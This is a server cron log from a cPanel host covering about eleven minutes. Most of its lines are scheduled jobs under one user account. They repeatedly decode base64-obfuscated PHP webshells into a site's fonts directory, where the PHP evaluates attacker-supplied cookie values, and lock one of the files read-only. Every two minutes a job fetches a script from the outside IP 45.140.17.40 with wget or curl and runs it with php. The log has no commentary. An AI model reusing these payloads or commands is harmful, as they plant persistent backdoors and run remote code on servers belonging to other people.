Sep  5 00:19:02 ip-184-168-122-23 CROND[10691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:19:02 ip-184-168-122-23 CROND[10693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:19:02 ip-184-168-122-23 CROND[10690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:19:02 ip-184-168-122-23 CROND[10692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:20:01 ip-184-168-122-23 CROND[10778]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 00:20:01 ip-184-168-122-23 CROND[10779]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:20:01 ip-184-168-122-23 CROND[10780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:20:01 ip-184-168-122-23 CROND[10787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:20:01 ip-184-168-122-23 CROND[10783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:20:01 ip-184-168-122-23 CROND[10788]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 00:20:01 ip-184-168-122-23 CROND[10786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:20:01 ip-184-168-122-23 CROND[10785]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:20:01 ip-184-168-122-23 CROND[10784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:21:01 ip-184-168-122-23 CROND[10876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:21:01 ip-184-168-122-23 CROND[10878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:21:01 ip-184-168-122-23 CROND[10880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:21:01 ip-184-168-122-23 CROND[10879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:22:01 ip-184-168-122-23 CROND[10956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:22:01 ip-184-168-122-23 CROND[10957]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:22:01 ip-184-168-122-23 CROND[10959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:22:01 ip-184-168-122-23 CROND[10958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:22:01 ip-184-168-122-23 CROND[10961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:23:01 ip-184-168-122-23 CROND[11059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:23:01 ip-184-168-122-23 CROND[11061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:23:01 ip-184-168-122-23 CROND[11060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:23:01 ip-184-168-122-23 CROND[11062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:24:02 ip-184-168-122-23 CROND[11143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:24:02 ip-184-168-122-23 CROND[11146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:24:02 ip-184-168-122-23 CROND[11145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:24:02 ip-184-168-122-23 CROND[11147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:24:02 ip-184-168-122-23 CROND[11148]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:25:01 ip-184-168-122-23 CROND[11325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:25:01 ip-184-168-122-23 CROND[11326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:25:01 ip-184-168-122-23 CROND[11327]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:25:01 ip-184-168-122-23 CROND[11329]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 00:25:01 ip-184-168-122-23 CROND[11328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:25:01 ip-184-168-122-23 CROND[11331]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:25:01 ip-184-168-122-23 CROND[11330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:26:01 ip-184-168-122-23 CROND[11422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:26:01 ip-184-168-122-23 CROND[11424]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:26:01 ip-184-168-122-23 CROND[11423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:26:01 ip-184-168-122-23 CROND[11426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:26:01 ip-184-168-122-23 CROND[11428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:27:01 ip-184-168-122-23 CROND[11517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:27:01 ip-184-168-122-23 CROND[11518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:27:01 ip-184-168-122-23 CROND[11519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:27:01 ip-184-168-122-23 CROND[11521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:28:01 ip-184-168-122-23 CROND[11597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:28:01 ip-184-168-122-23 CROND[11601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:28:01 ip-184-168-122-23 CROND[11598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:28:01 ip-184-168-122-23 CROND[11600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:28:01 ip-184-168-122-23 CROND[11599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:29:01 ip-184-168-122-23 CROND[11688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:29:01 ip-184-168-122-23 CROND[11689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:29:01 ip-184-168-122-23 CROND[11690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:29:01 ip-184-168-122-23 CROND[11694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:30:01 ip-184-168-122-23 CROND[11778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:30:01 ip-184-168-122-23 CROND[11780]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  5 00:30:01 ip-184-168-122-23 CROND[11781]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 00:30:01 ip-184-168-122-23 CROND[11784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:30:01 ip-184-168-122-23 CROND[11785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:30:01 ip-184-168-122-23 CROND[11786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:30:01 ip-184-168-122-23 CROND[11788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:30:01 ip-184-168-122-23 CROND[11789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:30:01 ip-184-168-122-23 CROND[11790]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
